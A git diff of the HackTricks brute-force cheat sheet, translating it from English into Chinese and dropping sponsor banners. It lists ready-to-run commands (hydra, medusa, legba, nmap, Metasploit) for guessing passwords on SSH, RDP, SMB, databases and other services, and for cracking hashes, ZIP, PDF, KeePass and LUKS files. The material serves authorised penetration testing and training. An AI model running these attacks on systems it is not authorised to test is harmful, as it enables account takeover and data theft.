a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..e014dbd95 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ -# Brute Force - CheatSheet - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} +# 暴力破解 - 备忘单 {{#include ../banners/hacktricks-training.md}} -## Default Credentials +## 默认凭据 -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**在谷歌中搜索**所使用技术的默认凭据,或**尝试这些链接**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **创建你自己的字典** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +尽可能多地收集目标的信息并生成自定义字典。可能有帮助的工具: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +根据你对受害者的了解(姓名、日期等)生成密码。 ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +一个词汇生成工具,允许您提供一组单词,使您能够从给定的单词中制作多个变体,创建一个独特且理想的词汇表,以便针对特定目标使用。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,10 +65,9 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### 字典列表 - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+## 服务 -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Services - -Ordered alphabetically by service name. +按服务名称字母顺序排列。 ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM 和 Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - -### Cassandra - +### 卡桑德拉 ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - -### Docker Registry - +### Docker 注册表 ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTP 通用暴力破解 #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTP 基本认证 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - -### HTTP - Post Form - +### HTTP - Post 表单 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +对于 http**s**,您必须将 "http-post-form" 更改为 "**https-post-form"** -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla 或 (D)rupal 或 (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI - ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - ### Mongo - ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +为了使用 **oracle_login** 和 **patator**,您需要 **安装**: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[离线 OracleSQL 哈希暴力破解](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 和 **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,79 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +您可以从 [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) 下载 `.deb` 包进行安装。 ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis - ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - -[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) - ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +381,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +391,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### 弱 SSH 密钥 / Debian 可预测的 PRNG -#### Weak SSH keys / Debian predictable PRNG +一些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,可以使用工具如 [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) 进行暴力破解。也可以找到预生成的弱密钥集,如 [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ 和 OpenMQ) +STOMP 文本协议是一种广泛使用的消息传递协议,**允许与流行的消息队列服务无缝通信和交互**,如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ。它提供了一种标准化和高效的方法来交换消息并执行各种消息操作。 ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - ### Telnet - ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +431,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` +## 本地 -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Local - -### Online cracking databases +### 在线破解数据库 - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -- [https://crackstation.net/](https://crackstation.net) (Hashes) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 有/没有 ESS/SSP 和任何挑战值) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希, WPA2 捕获, 和 MSOffice, ZIP, PDF 的档案...) +- [https://crackstation.net/](https://crackstation.net) (哈希) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -- [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) +- [https://gpuhash.me/](https://gpuhash.me) (哈希和文件哈希) +- [https://hashes.org/search.php](https://hashes.org/search.php) (哈希) +- [https://www.cmd5.org/](https://www.cmd5.org) (哈希) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +在尝试暴力破解哈希之前,请查看此内容。 ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +469,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### 已知明文 zip 攻击 -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +您需要知道加密 zip 中包含的文件的 **明文**(或部分明文)。您可以通过运行 **`7z l encrypted.zip`** 来检查加密 zip 中包含的 **文件名和文件大小**。\ +从发布页面下载 [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +484,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +495,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -635,13 +504,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### PDF所有者密码 -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +要破解PDF所有者密码,请查看此链接: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +520,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### NTLM 破解 ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass - ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +534,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting - ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Luks图像 -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### 方法1 +安装: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### 方法 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +560,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +另一个 Luks BF 教程: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### PGP/GPG 私钥 ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
-### DPAPI Master Key +### DPAPI 主密钥 -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +使用 [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) 然后使用 john -### Open Office Pwd Protected Column +### Open Office 密码保护列 -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +如果你有一个带有密码保护列的 xlsx 文件,你可以解除保护: +- **上传到 Google Drive**,密码将自动移除 +- 要 **手动** **移除**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,76 +595,56 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### PFX 证书 ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` +## 工具 -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Tools - -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) - -### Hash-identifier +**哈希示例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +### 哈希识别器 ```bash hash-identifier > ``` - -### Wordlists +### 字典 - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) - [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **字典生成工具** +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高级键盘行走生成器,具有可配置的基础字符、键盘映射和路线。 ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` - ### John mutation -Read _**/etc/john/john.conf**_ and configure it - +阅读 _**/etc/john/john.conf**_ 并进行配置 ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat 攻击 -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **字典攻击** (`-a 0`) 带规则 +**Hashcat** 已经附带一个 **包含规则的文件夹**,但你可以在 [**这里找到其他有趣的规则**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Wordlist combinator** 攻击 -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +可以使用 hashcat **将 2 个字典组合成 1 个**。\ +如果列表 1 包含单词 **"hello"**,而第二个列表包含 2 行单词 **"world"** 和 **"earth"**。将生成单词 `helloworld` 和 `helloearth`。 ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +655,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -- **Mask attack** (`-a 3`) - +- **掩码攻击** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +687,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- 字典 + 掩码 (`-a 6`) / 掩码 + 字典 (`-a 7`) 攻击 ```bash # Mask numbers will be appended 